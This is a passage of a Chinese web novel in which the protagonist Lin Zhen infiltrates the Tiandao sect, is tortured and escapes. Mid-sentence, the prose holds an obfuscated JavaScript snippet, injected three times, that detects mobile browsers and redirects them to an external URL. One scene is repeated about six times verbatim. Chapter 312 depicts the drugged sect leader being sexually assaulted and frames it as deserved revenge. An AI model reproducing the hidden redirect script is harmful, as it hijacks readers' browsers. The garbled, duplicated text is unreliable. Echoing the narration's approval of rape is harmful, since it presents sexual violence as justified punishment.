“射雕手大人,请问他是谁?” 海棠回复道:“他是林臻,宗主点名要见的人。” “放行!” 随着大门缓缓打开,林臻的危险也将随之来临。 第309章 好像被骗了 林臻深吸一口气稳步踏入。 一入宗门仿若踏入了另一个世界石板路蜿蜒曲折两旁的绿植修剪得整整齐齐却透着一股冷硬的气息仿佛在无声地宣告着此地的威严。 沿着山路前行不多时便听到阵阵娇咤之声。 抬眼望去竟是一片练武场只是这练武场因着地势所限规模并不大。 场内皆是女弟子在切磋武艺她们身着劲装身姿矫健手中的长剑挥舞的虎虎生风每一招每一式都带着凌厉的杀气。 天道杀手就是这样训练出来的?这看着怎么像练兵呢。 越往山顶走林臻越好奇。 这山上往来穿梭的人竟全是女子不见一个男人的身影。 难道说天道只收女弟子?不对上次想绑架张俪的就是个男杀手啊。 林臻佯装不经意地放慢脚步手指在衣袖的掩护下轻轻在路过的树干上划下一道细微的痕迹这痕迹旁人若不仔细瞧根本难以发现。 这是他悄悄留下的记号以便后续脱身时能有迹可循不至于迷路。 再往前走是一座精巧的石桥桥下溪水潺潺流淌水中鱼儿嬉戏与周围紧张肃杀的氛围形成鲜明对比。 桥边一位看不出男女的光头老者正静静地垂钓看似悠闲惬意。 可林臻却敏锐地察觉到老者看似松弛的坐姿下实则暗藏劲道想必是个深藏不露的高手。 海棠带着林臻绕过几座楼阁楼阁中不时传出阵阵诵经声。 听动静应该不是佛经但也不像道德经。 太奇怪了。 天道里的一切都很奇怪。 不多时两人来到宗主观前。 不大的殿堂里正中央有一个白衣女子正在打坐。 海棠上前轻声通报:“宗主林臻带到。” 随后她微微侧身快步走了出去。 临出门时目光与林臻交汇眼中闪过一丝不易察觉的担忧。 林臻抬眼望去只见观内香烟袅袅天道宗主青霞仙子正闭目打坐于蒲团之上宛如一尊静谧的雕像。 片刻后青霞仙子缓缓睁开双眼嘴角勾起一抹冷笑:“林臻你终于落我手里了。” 此时林臻才得以看清青霞仙子的模样。 她身着一袭素白长袍衣袂飘飘仿若嫡落凡尘的仙子那料子似雪般纯净又透着几分清冷质感 一头乌发如瀑 ,仅用一根白玉簪简单挽起,几缕发丝垂落在白皙的脖颈边,仿若水墨画上的写意笔触。 脸蛋胜雪,仿若羊脂玉般细腻温润,却透着拒人于千里之外的清冷。嘴唇不点而朱,此刻微微上扬,勾勒出一抹嘲讽的冷笑,却依然美得惊心动魄。 林臻毫不畏惧地直视她,沉声道:“你就是天道宗主,青霞仙子? “不然呢? “我看着不像。 “为何不像? “我以为的天道宗主应该是个老太婆,就像电视剧里的灭绝师太。可你明显是个大美人啊,美人,你今年几岁呀? 林臻嘴角挂着玩世不恭的笑容。 既然敢来,林臻就没想过怕死,既然不怕死,那为何要小心翼翼地说话呢? 青霞仙子再次冷笑。 “呵呵呵,你倒是有几分够胆。 “那当然,否则怎么会连续抓到四个仙子呢?该说不说,你们这些仙子还真是长得各有韵味,各有秋色,玩起来的感觉也很好。 青霞仙子瞬间攥紧粉拳,眼睛里迸射出一道凌厉的光。 “林臻,你知道招惹我的下场吗? “不知道,但是我知道你不敢杀我。 “我不敢杀你?哈哈哈哈哈!青霞仙子仰天长笑,这一幕还真有点灭绝师太的感觉。 不过她的长相终究是极好的,所以看起来很有美感。 “林臻,这天底下就没有我们天道不敢杀的人! “你杀了我,你的四个姐妹就会死得很惨很惨,说不定还会被我那不成器的兄弟带到大街上游行,也可能会捆好了送进男子监牢。总之,她们会因为你,而生不如死。 “你在威胁我? 林臻淡然地点点头:“没错,就是威胁你。 此刻已经没有退路了,与其当舔狗下跪,倒不如直接干脆一些。 而且林臻认为青霞仙子不会杀他,至少今天不可能会杀,她们得先想办法把人救出来。 通过之前的种种事迹表明,天道十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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亏了亏了,这波亏大了! 林臻认为自己肯定是上当了。 她们抓的根本就不是晴雯。 刚刚带上来的那名女子,不管是身材还是相貌虽然都与晴雯十分相似,但林臻凭直觉判断,肯定不是晴雯。 那怎么会那么想? 难道是某种高端的易容术吗? 还是说晴雯有个双胞胎姐妹? 唉,不管怎么样,自己还是太着急了。如果先派人回去问问,也就不会有现在的事情。 关心则乱啊。 也罢,那就趁这个机会,将天道一网打尽好了。 青霞仙子还不知道林臻已经开始怀疑,她以为自己已经占据了绝对的主动权。 “林臻,你想救你的爱人么?青霞仙子走过来,目不转睛地盯着林臻。 手指夹住发梢,挑逗地蹭了蹭他的脸,满脸都是笃定与嘲讽。 痒痒的感觉传来。 林臻也算情场老手,但也确实没被陌生女子这样挑逗过。 一时间只觉青霞仙子身上好香好香。 可惜,这是个蛇蝎美人。 否则林臻还真不建议和她发生点什么。 “说说你的条件。 “呵呵呵呵,林臻,你终于服气了啊。青霞仙子仰头大笑,笑声在空荡荡的观内回荡,透着几分癫狂,“那我就告诉你吧,我想杀了你。 林臻显得有几分漫不经心:“少来这一套,你若想杀我早就杀了,还会和我絮絮叨叨的吗? “没错,我确实不能杀你,但这并不妨碍我想! 林臻挑眉:“想也是白想,不如我们来谈谈条件。 “好啊,我要你放我天道的人离开京城。 “可以,但是你要先放晴雯走。 林臻打算试探试探她。 果然,青霞仙子完全不答应。 “呵。她冷哼一声,猛地出手,毫无征兆地一拳狠狠打在林臻肚子上。 砰—— “额林臻吃痛,闷哼一声,脸色瞬间变得煞白,感觉肠子都好像扭在了一起。 “敢跟我讲条件,你好大的胆子!青霞仙子居高临下地看着林臻,眼中满是怒火与恨意。 林臻露出一丝惨然的冷笑:“呵,什么天道宗主,不过如此! “激将法对我没用的。林臻,你会为你的行为付出代价!我发誓!敢与我天道作对,就是这样的下场!说罢,她挥挥手,几名身形矫健的女护卫鱼贯而入,二话不说,架起林臻就往地牢走去。 林臻一句话都没说。 现在能脱离青霞仙子的视野范围是最好不过的,也只有这样,自己才能策划逃离。 然而林臻越是不在乎,青霞仙子的脸色就越难看。 在她看来,林臻这个纨绔应该被吓得尿裤子才对! 她重新坐回蒲团上,施展内功,凝神静气。 海棠走了进来,脸色有些不自然,对着她单膝跪地说道:“师父,我们该怎么办?” “时间紧迫,如果让林臻知道晴雯是假的,他肯定会更不配合。” “是的,他很倔强。” “王胖子的队伍肯定已经出发了,我们要抓紧时间把静澜她们救出来,否则我们将再没有机会。” “弟子这就去办。” 海棠走出门,青霞仙子冷清的脸缓缓变得平和起来。 地牢内阴暗潮湿,弥漫着一股腐臭的气息,墙壁上挂着各式各样令人胆寒的审讯工具,在昏黄的灯光下闪烁着冰冷的光。 林臻被粗暴地捆在一根石柱上,那膀大腰圆的女护卫临走前还在他两腿之间摸了一把,娇笑道:“呵呵呵,小样儿还挺大。” “臭流氓!”林臻破口大骂。 奶奶的。 这群女护卫是不是都憋坏了?长成这个样子也敢摸自己! 亏了亏了,这波亏大了! 青竹站在牢笼外面,女护卫刚才的动作并没有引起她的反感,反而是朝四周望了望,见四下无人,便走进来,表情十分平静的看着林臻。 两人很默契,谁也没有先说话。 更没有寒暄的想法。 过了几秒,林臻说道:“我兜里有软骨粉。” 青竹二话不说,伸手去拿。 拿到以后看了看,对林臻说道:“那些护卫不会轻易放过你。” “我知道。” 言罢青竹颇为怜悯地看了一眼林臻,转身离开。 林臻长舒口气。 幸好青竹没有背叛自己。 否则凭自己的实力想在天道宗门里逃出去,简直是痴心妄想。 不过她最后那个眼神是什么意思? 不会轻易放过自己卧槽!她们该不会是要把我榨干吧? 别介啊! 那大老娘们,屁股和水缸似的,咣当一下还不得坐死我? 就在林臻陷入恐惧的幻想中时,一位身着粉色纱衣的仙子款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青霞仙子怒不可遏,甚至还在她腿上踢了一脚。 “谁允许你自作主张的!?险些坏了我的大事!” 第311章 看招!乌龙抓鸡! 地牢内,气氛压抑得仿若暴风雨来临前夕。 青霞仙子气得柳眉倒竖,杏眼圆睁。 她猛地扬起手,“啪”的一声脆响,重重一巴掌扇在了绯羽仙子的脸上,呵斥道:“谁允许你自作主张的?险些坏了我的大事!” 绯羽仙子捂着脸,眼中满是悲愤与不甘,她的胸脯剧烈起伏,大声争辩道:“宗主,那林臻实在可恶至极!他竟扬言要将姐妹们扔到京城街头沦为妓女,此等奇耻大辱,怎能不报?我实在咽不下这口气!” 青霞仙子冷哼一声,寒星般的双眸中透着冷厉:“哼,本宫知道!但你如此冲动行事,可曾想过后果?” 绯羽仙子眼眶泛红,泪水在眼眶里打转,却倔强地不肯落下:“可姐妹们在这淫贼之下受辱,如今仇人当面,还拿言语激我!我怎能容忍!?” 青霞仙子不耐烦地一甩衣袖:“够了!此事本宫自会有计较,轮不到你放肆,还不退下!” 绯羽仙子咬着下唇,满心委屈与愤怒却又无从发泄,她狠狠地瞪了青霞仙子一眼,转身快步离去,绣花鞋踩在石板路上,发出轻微的声响,仿佛在宣泄着她的不满。 绯羽仙子刚一离开,丫鬟青竹便悄然现身。 她身着一袭素色衣衫,面容清秀,眼神却透着几分冷酷与坚毅,稳步走到青霞仙子身边,轻声道:“宗主,您息怒。此事还需从长计议,莫要气坏了身子。” 青霞仙子瞥了她一眼,不耐烦地挥挥手:“哼,这还用你说!?” 青竹微微低头,眼中闪过一丝不易察觉的光芒,应道:“宗主所言极是,不知宗主打算如何处理他?”言罢青竹看了看向浑身是血的林臻。 青霞仙子皱了皱眉,这才开始正视林臻。 只见他此刻被捆在石柱上,衣衫破损,裸露的肌肤上纵横交错着一道道触目惊心的鞭痕,伤口处还渗着丝丝鲜血,他虽发丝凌乱,却依旧眼神坚定,透着不屈。 青霞仙子站定在林臻面前,居高临下地看着他,嘴角勾起一抹残忍的笑意,突然伸出手,精准地掐住林臻身上一道最深的鞭伤,狠狠用力。 “啊!!” “疼么?” 林臻闷哼一声,脸色瞬间变得煞白,豆大的汗珠从额头滚落。 “疼就放人!只要你放了我们姐妹,我就让你少受点皮肉之苦。” 怎么可能放人呢。 且不说她们抓到的晴雯是假的,就算是真的,林臻也不会放人。 因为这是他唯一的筹码。 如果连谈判的筹码都放弃,那青霞仙子将毫无顾忌地杀掉自己。 这么愚蠢的行为,林臻才不会做。 所以他宁可忍着,也绝不求饶。 “天道,呵呵呵,狗屁的天道。不过是一群湮灭人性的刽子手罢了,你以为这样就能让我屈服么?” 青霞仙子却仿若未闻,她缓缓将沾了林臻鲜血的手指放入口中,轻轻舔舐,眼中闪烁着疯狂与快意:“林臻,你我也算冤家路窄,但我本意并不想为难你。是你三番五次地为难我。” 林臻仰头,强忍着剧痛,毫不示弱地回视她:“青霞,你少在此惺惺作态的立人设。你们蔑视律法,滥用私行,视世间基本道德如无物,打着天道的幌子,行尽不义之事。你会受到应有的惩罚的。” “惩罚?哈哈哈哈哈。”青霞仙子仰头大笑,“现在受惩罚的可是你!我是天道,天道在我!” “呵,你可能不相信,有时候报应来的就是那么快。” “我不相信报应!我也不相信这世间有公允!林臻,放了我姐妹,我放了你!这是你最后的机会!” “除非你先放了我,否则不可能。” 青霞仙子脸色微变,眼中闪过一丝恼怒:“你莫要敬酒不吃吃罚酒!你当真不顾晴雯的死活?” 就在这时,青竹悄然走到地牢一角,对着护卫轻声道:“远离这里,没有命令任何人不得靠近。” 护卫虽有些疑惑,但不敢违抗,躬身退下。 随即青竹端着一壶茶,稳步走进地牢,来到青霞仙子身边,轻声道:“宗主,您消消气,喝口茶再审也不迟。” 青霞仙子连看都不看一眼就接过茶杯,一饮而尽。 然后又十分潇洒地将茶杯丢到身后。 啪—— “林臻,你信不信,一炷香后,你的哪里也会被我这样,摔得粉碎!” 林臻顿时有些不淡定了。 “这么下流?” “呵呵呵呵,你们男人不就是怕那个地方疼么?要不我们试试?” 青霞仙子伸手来抓,林臻想往后面躲,但是根本躲不掉。 直接被她一把攥住! “哈哈哈哈哈,林臻,你的命,现在就在我手里。”言罢她神色一凛,就要捏碎。 谁知就在林臻准备大叫的时候,她突然脸色一变。 “我这.” 她不敢相信地看着自己的手,想攥拳,却根本攥不上。 “我我中毒了?” 当啷啷—— 青霞仙子内力仿若瞬间被抽空,摔倒在地,她惊恐地看向青竹:“你你竟敢对我下药?” 青竹见她摔倒,也不多废话,上来就解林臻的绳子。 很快,绳子解开,林臻一下扑倒在青竹怀里。 “世子,我救你走。” “谢了。”林臻虽然道谢,但是却很坚定摇摇头:“我要报仇。” 青竹好像知道他要干什么。 “世子,现在没有时间了!” “不行,不报此仇,我林臻誓不为人!”言罢林臻咬紧牙关将青竹推开,自己一步一踉跄地来到青霞仙子面前,结果脚下不稳,也一头栽倒。 可是他比较幸运,脑袋正埋进青霞仙子的胸口。 林臻挣扎着坐起来,活动了一下手腕,看着瘫倒在地、武功尽失的青霞仙子,嘴角勾起一抹坏笑:“呵呵呵呵,我说过吧?有时候报应来的就是这么及时。” 青霞仙子心中涌起一阵绝望,她试图凝聚内力,却发现徒劳无功,只能眼睁睁看着林臻坐在自己肚子上,心中满是不甘与恨意:“林臻,你敢动我,天道必不会放过你!” 林臻冷笑:“哼,到了此刻,你还敢嘴硬?你天道多行不义,今日便是你的覆灭之时。我不过是以其人之道还治其人之身,让你也尝尝被算计的滋味!” “看招!乌龙抓鸡!” 青霞仙子内力仿若瞬间被抽空,摔倒在地,她惊恐地看向青竹:“你你竟敢对我下药?” 青竹见她摔倒,也不多废话,上来就解林臻的绳子。 很快,绳子解开,林臻一下扑倒在青竹怀里。 “世子,我救你走。” “谢了。”林臻虽然道谢,但是却很坚定摇摇头:“我要报仇。” 青竹好像知道他要干什么。 “世子,现在没有时间了!” “不行,不报此仇,我林臻誓不为人!”言罢林臻咬紧牙关将青竹推开,自己一步一踉跄地来到青霞仙子面前,结果脚下不稳,也一头栽倒。 可是他比较幸运,脑袋正埋进青霞仙子的胸口。 林臻挣扎着坐起来,活动了一下手腕,看着瘫倒在地、武功尽失的青霞仙子,嘴角勾起一抹坏笑:“呵呵呵呵,我说过吧?有时候报应来的就是这么及时。” 青霞仙子心中涌起一阵绝望,她试图凝聚内力,却发现徒劳无功,只能眼睁睁看着林臻坐在自己肚子上,心中满是不甘与恨意:“林臻,你敢动我,天道必不会放过你!” 林臻冷笑:“哼,到了此刻,你还敢嘴硬?你天道多行不义,今日便是你的覆灭之时。我不过是以其人之道还治其人之身,让你也尝尝被算计的滋味!” “看招!乌龙抓鸡!” 青霞仙子内力仿若瞬间被抽空,摔倒在地,她惊恐地看向青竹:“你你竟敢对我下药?” 青竹见她摔倒,也不多废话,上来就解林臻的绳子。 很快,绳子解开,林臻一下扑倒在青竹怀里。 “世子,我救你走。” “谢了。”林臻虽然道谢,但是却很坚定摇摇头:“我要报仇。” 青竹好像知道他要干什么。 “世子,现在没有时间了!” “不行,不报此仇,我林臻誓不为人!”言罢林臻咬紧牙关将青竹推开,自己一步一踉跄地来到青霞仙子面前,结果脚下不稳,也一头栽倒。 可是他比较幸运,脑袋正埋进青霞仙子的胸口。 林臻挣扎着坐起来,活动了一下手腕,看着瘫倒在地、武功尽失的青霞仙子,嘴角勾起一抹坏笑:“呵呵呵呵,我说过吧?有时候报应来的就是这么及时。” 青霞仙子心中涌起一阵绝望,她试图凝聚内力,却发现徒劳无功,只能眼睁睁看着林臻坐在自己肚子上,心中满是不甘与恨意:“林臻,你敢动我,天道必不会放过你!” 林臻冷笑:“哼,到了此刻,你还敢嘴硬?你天道多行不义,今日便是你的覆灭之时。我不过是以其人之道还治其人之身,让你也尝尝被算计的滋味!” “看招!乌龙抓鸡!” 青霞仙子内力仿若瞬间被抽空,摔倒在地,她惊恐地看向青竹:“你你竟敢对我下药?” 青竹见她摔倒,也不多废话,上来就解林臻的绳子。 很快,绳子解开,林臻一下扑倒在青竹怀里。 “世子,我救你走。” “谢了。”林臻虽然道谢,但是却很坚定摇摇头:“我要报仇。” 青竹好像知道他要干什么。 “世子,现在没有时间了!” “不行,不报此仇,我林臻誓不为人!”言罢林臻咬紧牙关将青竹推开,自己一步一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055886|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踉跄地来到青霞仙子面前,结果脚下不稳,也一头栽倒。 可是他比较幸运,脑袋正埋进青霞仙子的胸口。 林臻挣扎着坐起来,活动了一下手腕,看着瘫倒在地、武功尽失的青霞仙子,嘴角勾起一抹坏笑:“呵呵呵呵,我说过吧?有时候报应来的就是这么及时。” 青霞仙子心中涌起一阵绝望,她试图凝聚内力,却发现徒劳无功,只能眼睁睁看着林臻坐在自己肚子上,心中满是不甘与恨意:“林臻,你敢动我,天道必不会放过你!” 林臻冷笑:“哼,到了此刻,你还敢嘴硬?你天道多行不义,今日便是你的覆灭之时。我不过是以其人之道还治其人之身,让你也尝尝被算计的滋味!” “看招!乌龙抓鸡!” 青霞仙子内力仿若瞬间被抽空,摔倒在地,她惊恐地看向青竹:“你你竟敢对我下药?” 青竹见她摔倒,也不多废话,上来就解林臻的绳子。 很快,绳子解开,林臻一下扑倒在青竹怀里。 “世子,我救你走。” “谢了。”林臻虽然道谢,但是却很坚定摇摇头:“我要报仇。” 青竹好像知道他要干什么。 “世子,现在没有时间了!” “不行,不报此仇,我林臻誓不为人!”言罢林臻咬紧牙关将青竹推开,自己一步一踉跄地来到青霞仙子面前,结果脚下不稳,也一头栽倒。 可是他比较幸运,脑袋正埋进青霞仙子的胸口。 林臻挣扎着坐起来,活动了一下手腕,看着瘫倒在地、武功尽失的青霞仙子,嘴角勾起一抹坏笑:“呵呵呵呵,我说过吧?有时候报应来的就是这么及时。” 青霞仙子心中涌起一阵绝望,她试图凝聚内力,却发现徒劳无功,只能眼睁睁看着林臻坐在自己肚子上,心中满是不甘与恨意:“林臻,你敢动我,天道必不会放过你!” 林臻冷笑:“哼,到了此刻,你还敢嘴硬?你天道多行不义,今日便是你的覆灭之时。我不过是以其人之道还治其人之身,让你也尝尝被算计的滋味!” “看招!乌龙抓鸡!” 青霞仙子内力仿若瞬间被抽空,摔倒在地,她惊恐地看向青竹:“你你竟敢对我下药?” 青竹见她摔倒,也不多废话,上来就解林臻的绳子。 很快,绳子解开,林臻一下扑倒在青竹怀里。 “世子,我救你走。” “谢了。”林臻虽然道谢,但是却很坚定摇摇头:“我要报仇。” 青竹好像知道他要干什么。 “世子,现在没有时间了!” “不行,不报此仇,我林臻誓不为人!”言罢林臻咬紧牙关将青竹推开,自己一步一踉跄地来到青霞仙子面前,结果脚下不稳,也一头栽倒。 可是他比较幸运,脑袋正埋进青霞仙子的胸口。 林臻挣扎着坐起来,活动了一下手腕,看着瘫倒在地、武功尽失的青霞仙子,嘴角勾起一抹坏笑:“呵呵呵呵,我说过吧?有时候报应来的就是这么及时。” 青霞仙子心中涌起一阵绝望,她试图凝聚内力,却发现徒劳无功,只能眼睁睁看着林臻坐在自己肚子上,心中满是不甘与恨意:“林臻,你敢动我,天道必不会放过你!” 林臻冷笑:“哼,到了此刻,你还敢嘴硬?你天道多行不义,今日便是你的覆灭之时。我不过是以其人之道还治其人之身,让你也尝尝被算计的滋味!” “看招!乌龙抓鸡!” 青霞仙子内力仿若瞬间被抽空,摔倒在地,她惊恐地看向青竹:“你你竟敢对我下药?” 青竹见她摔倒,也不多废话,上来就解林臻的绳子。 很快,绳子解开,林臻一下扑倒在青竹怀里。 “世子,我救你走。” “谢了。”林臻虽然道谢,但是却很坚定摇摇头:“我要报仇。” 青竹好像知道他要干什么。 “世子,现在没有时间了!” “不行,不报此仇,我林臻誓不为人!”言罢林臻咬紧牙关将青竹推开,自己一步一踉跄地来到青霞仙子面前,结果脚下不稳,也一头栽倒。 可是他比较幸运,脑袋正埋进青霞仙子的胸口。 林臻挣扎着坐起来,活动了一下手腕,看着瘫倒在地、武功尽失的青霞仙子,嘴角勾起一抹坏笑:“呵呵呵呵,我说过吧?有时候报应来的就是这么及时。” 青霞仙子心中涌起一阵绝望,她试图凝聚内力,却发现徒劳无功,只能眼睁睁看着林臻坐在自己肚子上,心中满是不甘与恨意:“林臻,你敢动我,天道必不会放过你!” 林臻冷笑:“哼,到了此刻,你还敢嘴硬?你天道多行不义,今日便是你的覆灭之时。我不过是以其人之道还治其人之身,让你也尝尝被算计的滋味!” “看招!乌龙抓鸡!” 第312章 半个时辰的功夫。 青霞仙子还真以为林臻会什么独门绝技呢哪知只是一把揪住自己小腹上面的裙子。 这是干什么? “林臻我天道女子的身体是不可以被侵犯的你起来我们有话好说!” “好说?呵。”林臻冷笑一声。 他想起自己刚刚受的罪身上的皮肉之苦被骗之后的恼怒。 又怎能轻易放过她? “青霞你们天道与我为敌现在又把我诓骗至此还殴打我!如果不是我绝地反击你会和我好好说话么?” “林臻只要你放过我的四个姐妹我保证以后再不与你为敌!” “现在说不与我为敌。呵呵呵呵晚了。” 撕拉—— 洁白无瑕的纱幔长裙被林臻一把撕破青霞仙子那圆润圣洁的长腿便暴露在空气中。 由于常年习武她的双腿笔直而修长充满力量感膝盖位置与大腿小腿的连接浑然天成看不出任何不同。 实话说慕容嫣的腿是林臻见过最美的一双但此刻的青霞仙子却丝毫不输于她甚至有过之而无不及。再者青霞仙子现在因为软骨散的原因浑身上下都动弹不得只有那双清冷的表情在坚决的对抗着。 林臻喜欢这个表情。 这让他想起了从不服输的刘书瑶。 除了第一次那惊慌失措的表情外刘书瑶一直都是这个样子。 无法抗拒却始终不接受。 林臻将手放在她腿上 那双沾满了血污与泥泞的手让青霞仙子很是恶心但她却根本躲不掉。 “林臻你会后悔的!我一定会杀了你!” “好啊那就杀了我反正我与你们天道已经是不死不休的局面了。”林臻满脸邪笑好像是一只大灰狼在洗刷一只小兔子“你知道我接下来要做什么吗?” “呵不就是那点事儿么我就当被猪拱了。” “那就请你做好被拱的准备因为我这只猪.有点凶哦~” “呵来啊你以为我怕你?” 未经人事的女人就像初生牛犊根本不知道老虎都多可怕。 既然如此林臻得好好给她上一课。 他问青竹:“青竹你放了多少量?” 青竹脸蛋红红的头也不回地答道:“一包软骨散我全放了还有请我叫刘痕。” 林臻才不管她刘什么 呢,哪怕叫刘水都行。 眼下当务之急是报仇! 他一定要让青霞仙子付出代价! 要让整个天道宗覆灭。 肩膀上被鞭子抽打的伤痕,伴随着剧烈疼痛刺激着林臻的大脑皮层,让他整个人看起来更加暴戾。 眼睛充血,林臻单手揪住青霞仙子那如瀑布般的长发,怒声道:“张嘴。” 言罢林臻另只手抠住她的脸颊,手指捏住口腔。 “” “” “” “” 林臻满意地看了看地上的血,穿好衣服,与青竹一起消失在牢房中。 也不知道过了多久,青霞仙子悠悠转醒,她有些迷茫地看着四周,缓了半天才想起自己刚刚都经历了什么。 她艰难地撑起身体,但是软骨散的药效还没都彻底过去,无法站起来,只能靠在墙壁上大声喘着粗气。 她伸出手,趁着牢房窗户透进来的月光看了看。 很细,很长,很美。 但是上面却有着干涸的水渍,是口水。 “” “” 她下意识地摸了摸脸,却发现脸上也都是口水。 “” “” 这是有多少口水啊可恶的林臻。 “” 自己该不会怀孕吧? “林臻.”她咬牙切齿地喊出这两个字,心中一时万念俱灰。 天道女子是绝不能被男人亲热的,这是几百年来的教规,也是信条。如今她自己身为天道宗宗主的青霞仙子,却沦为敌人的玩物。 她以后怎么在宗门里立足?又有何 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一路上他们遇见不少天道宗的弟子,以及曾经与林臻打过照面的十二仙之一幽梦。 但都被青竹以宗主要见林臻为由,给搪塞过去。 众人竟然也不起疑,可见青霞仙子是很信任青竹的。 这一切林臻都看在眼里,心里不禁有些佩服。 这才几个月的时间,青竹就能达到如此高度,可见她是吃了很多苦头的。 虽然也是干丫鬟,但天道宗主的丫鬟自然地位超然,她的努力也终获硕果。 最后两人重新回到宗主阁,林臻问道:“你不是应该带我下山吗?为什么要来这里?” “因为这里有一条密道,是很多年以前的天道宗主修建的,目的就是为了防止万一,给自己留条后路。” 第313章 青霞仙子的母亲? “你怎么知道密道的事情?”林臻还是好奇青竹到底是怎么爬上高位的。 却见青竹不咸不淡地回答。 “当然是宗主告诉我的。” “她这么信任你?” “怎么?你不相信我的能力?” 林臻没说话,被青竹搀扶着,小心翼翼地朝着密道而去。 他身上的伤口还在渗血,每走一步,都疼得他眉头紧皱,只能将大半的重量倚靠在青竹身上。 青竹身形纤细,又不会武功,只好咬着牙努力坚持,她的脸颊因用力而微微泛红,额前的发丝也被汗水浸湿。 宗主阁气势恢宏,雕梁画栋间却透着一股阴森之气。 青竹环顾四周,确认无人后,才凑近林臻耳边低语:“就是这了。” 林臻抬眼望去,只见阁内一侧墙壁上挂着一幅巨大的山水画,画轴的右下角微微翘起,不仔细看根本发现不了端倪。 青竹走到画前,伸手在墙壁上摸索了一阵,找准一处凸起,轻轻按下,只听“嘎吱”一声闷响,一道狭窄的石门缓缓开启,一股陈旧的气息扑面而来。 密道的入口仅容一人通过,两侧的墙壁湿漉漉的,不断有水珠渗出,滴答滴答地落下,在寂静中显得格外阴森。 门口挂着两支火把,青竹从怀中掏出火折子,轻轻一吹,火星闪烁,将其瞬间点亮。 林臻接过火把,强忍着伤痛,率先踏入密道。 密道内空间极为狭窄,林臻高大的身形几乎要与墙壁摩擦,他不得不微微侧身前行。 青竹紧跟其后,两人的身体不时触碰在一起,每一次接触,青竹的心跳便不自觉地漏了一拍,一抹红晕悄然爬上她的脖颈。 她暗自唾弃自己的失态,此刻情况危急,怎可心生杂念。 可是刚刚林臻对青霞仙子那一下下的撞击还犹在眼前,现在又是两人独处,很难忍住不去想。 他们沿着密道一步步向下走去,脚下是湿滑的台阶,林臻手中的火把光影摇曳,将两人的影子拉得长长的,映在墙壁上,仿若鬼魅。 密道内弥漫着一股腐臭的味道,偶尔还能听到远处传来隐隐约约的滴水声,在这寂静的空间里被无限放大,愈发显得诡异。 不知走了多久,眼前豁然开朗,可以容纳两人并肩而行。 青竹又主动靠过来,将林臻的手臂搭在自己肩上。 两人齐心协力,往外走去。 又走了一会儿,眼前有亮光传来,林臻以为是到了外面,顿时欣喜起来 。 然而这股欣喜还没持续一分钟,就又头脚冰凉。 因为此时一位光头老者正静静地站在山洞门口,宛如一尊雕塑,等候多时。 青竹脸色骤变,停下脚步说道:“坏了,是上一代老宗主。” 光头老者缓缓回过头。 林臻定睛看去,此人正是自己上山时在桥边见到的那位垂钓老者。 当时就猜出她的身份不一般,但是却没想到是上一任天道宗宗主。 青竹赶忙屈膝跪地,恭敬地说道:“参见老宗主。” 林臻则强撑着身子,站在原地,沉默不语,眼神中透着警惕。 老宗主目光在两人身上缓缓扫过,最后落在林臻身上,冷笑道:“呵,这就想走?” “你想怎么样?” 青竹见双方剑拔弩张,连忙抓了抓林臻的衣袖:“世子,老宗主是天道最特殊的存在,而且武功深不可测,你千万别往枪口上撞!” “呵,回去也是死,怕什么。”林臻向前走了几步,看着老宗主,突然发现她胸脯鼓鼓的,竟然是个女子,于是说道:“事情是我做的,与刘痕无关,要杀便杀我好了。” 老宗主当然注意到林臻那略带侵略性的眼神,但是却没在意。 男人嘛,正常。 她看了看跪在地上的青竹,又看了看林臻,摇头叹息道:“唉,孽缘啊。” 说罢,他转身朝着洞外走去,“跟我来吧,我带你们出去。” 林臻满心疑惑,开口问道:“什么意思?你要救我?” “没错。” “我与天道积怨已深,不死不休,而你身为天道老宗主为什么要救我?” 老宗主脚步一顿,缓缓说道:“年轻人,你有所不知。这天道创立之初,本是为了匡扶正义,护佑苍生,我倾尽毕生心血,想将它打造成一方净土。可后来,权力与欲望蒙蔽了青霞那丫头的双眼,她背离了天道的初衷,在这辽东之地为非作歹,搞得乌烟瘴气。我虽退居幕后,却也看得痛心疾首。” 她微微仰头,似是陷入回忆:“你在武清县的所作所为,我都有所耳闻。你为百姓谋福祉,开荒地、建工厂、惩恶霸,行真正的大义之举。所以,我不能眼睁睁看着你命丧于此,哪怕与现任宗主为敌,也要保你周全。” 林臻不解,但还是跟在她后面继续往前走着,问道:“那老宗主为何不继续担任宗主呢?” “因为.按照天道数百年来的教规,我必须退位。” 这话说得有些含糊, 不过以林臻的聪明还是立刻猜到了什么。 “你被男人破身了,而且青霞就是你的女儿,我说得对吧。” 老宗主没回答,也没有什么动作,像是将一切都默认了。 青竹好像听到什么惊天大秘密一样,瞪大眼睛,竖起耳朵听着。 却见老宗主沉默片刻后,又叹了口气:“唉,孽缘,孽缘啊。” “也许是善缘也说不定。因为人生的命运是早就被安排好的,坦然接受一切才是最好的缘分。” 林臻话里的深意让老宗主步伐一顿,随即又继续往前走。 三人走着走着,来到一片树林。 老宗主停下脚步,回头叮嘱道:“出去后,你们往西南方向走,那里有一条小路,直通山下,沿途我已安排了几个信得过的旧部,他们会助你们一臂之力。” 林臻的伤势愈发严重,脚步也越来越沉重,青竹不时关切地望向他,眼中满是担忧。 青竹心中涌起一阵感动,作揖行礼:“多谢老宗主大义,我们必定铭记于心。” 